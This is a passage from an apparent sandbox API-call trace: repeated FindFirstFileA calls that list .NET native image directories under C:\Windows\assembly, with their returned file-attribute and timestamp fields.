ftCreationTime.dwLowDateTime=0x1cf102a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x108fd320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x108fd320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.968] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\d3b36c9a789d8e5c5bca7e20241cc9be\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0cee240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x108fd320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x108fd320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.974] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Draw0a54d252#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8078e40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x108fd320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x108fd320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.979] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Draw0a54d252#\\7fc91d396b0ae82cca4eddde0472bfb9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8ea9140, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10923480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10923480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.985] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17403920, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10923480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10923480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.990] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9dd06780, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10923480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10923480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.996] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dynamic\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbea8d00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x109495e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109495e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.001] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dynamic\\0cb4708acc28d18d8ff1a2bbdc963e33\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa45048a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x109495e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109495e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.006] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Ente96d83b35#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21548ba0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x109495e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109495e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.012] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Ente96d83b35#\\6eae11bdda922e66acf618cd7613a96d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf8702e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1096f740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1096f740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.017] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Iden1fe87377#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228f10b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1096f740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1096f740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.023] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Iden1fe87377#\\d919279fe1ab3a59c30a81cecb830b89\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x228f10b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109958a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109958a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Idena7b556ff#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ac45070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109958a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109958a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.036] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Idena7b556ff#\\b4a51fd3054bd9ea6ee53e6e0f1234b8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ac45070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109958a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109958a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.042] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IdentityModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa7bff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109bba00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109bba00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.048] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IdentityModel\\77b5e34eb52f8fd2a71fc3e6901694ed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa7bff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109bba00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109bba00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.054] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cb3b124c8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22aba130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109e1b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109e1b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.062] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cb3b124c8#\\d426977625cab74088baa19e4750f92f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22aba130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109e1b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109e1b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.068] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cf61e09c5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22b9e970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x109e1b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x109e1b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.073] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cf61e09c5#\\1e2e11106454b1c782889f822c727f9b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22b9e970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a07cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a07cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.078] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Log\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2316bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a07cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a07cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.083] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Log\\02c0257b9546a57da750414e1d8efc40\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2316bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a07cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a07cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.091] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaf08ebffb#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2343f930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a2de20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a2de20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.098] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaf08ebffb#\\307616850faf04ba44d3e6ca55bb122e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2343f930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a2de20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a2de20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.104] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d491580, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10a53f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a53f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.111] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\4a1bd5a11e89160fb5f7669f6e27e129\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac7ca140, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10a53f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a53f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.116] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Messaging\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b212610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a7a0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a7a0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.121] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Messaging\\bdc4e99d9589be776850393af935ab03\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b212610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a7a0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a7a0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.128] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23a7f2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10a7a0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10a7a0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.133] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net\\b8833f89541f12db5b2eaf57c97a9e3b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23a7f2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10aa0240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10aa0240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.139] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.22cc68a8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23e83810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10aa0240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10aa0240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.144] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.22cc68a8#\\7e6fe8ce9e9901ce704a323703e46107\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23e83810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10aa0240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10aa0240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.152] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.Http\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b6af0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10ac63a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10ac63a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.157] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.Http\\12c78d0277e8d6ccfeb47b3d5a24ffb5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b6af0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10ac63a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10ac63a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.163] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb999e40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10aec500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10aec500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.168] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\0f03758e69687e59f707de4e6d881403\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4361980, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10aec500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10aec500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.174] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Printing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x651e0d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10aec500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10aec500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.193] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Printing\\35c2535342259ffb8d5aebca27ee025e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x651e0d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10b12660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b12660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.198] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Reflc3377498#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24215910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10b387c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b387c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.205] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Reflc3377498#\\3bcb8fdc3a953900e21a88528b65e296\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24215910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10b387c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b387c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.211] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt19c51595#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20f554a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10b5e920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b5e920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.218] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt19c51595#\\88d27fe1a0ca14d64d4e5ffa2ecb8ad2\\*", lpFindFileData=0x4aaa20 | out: 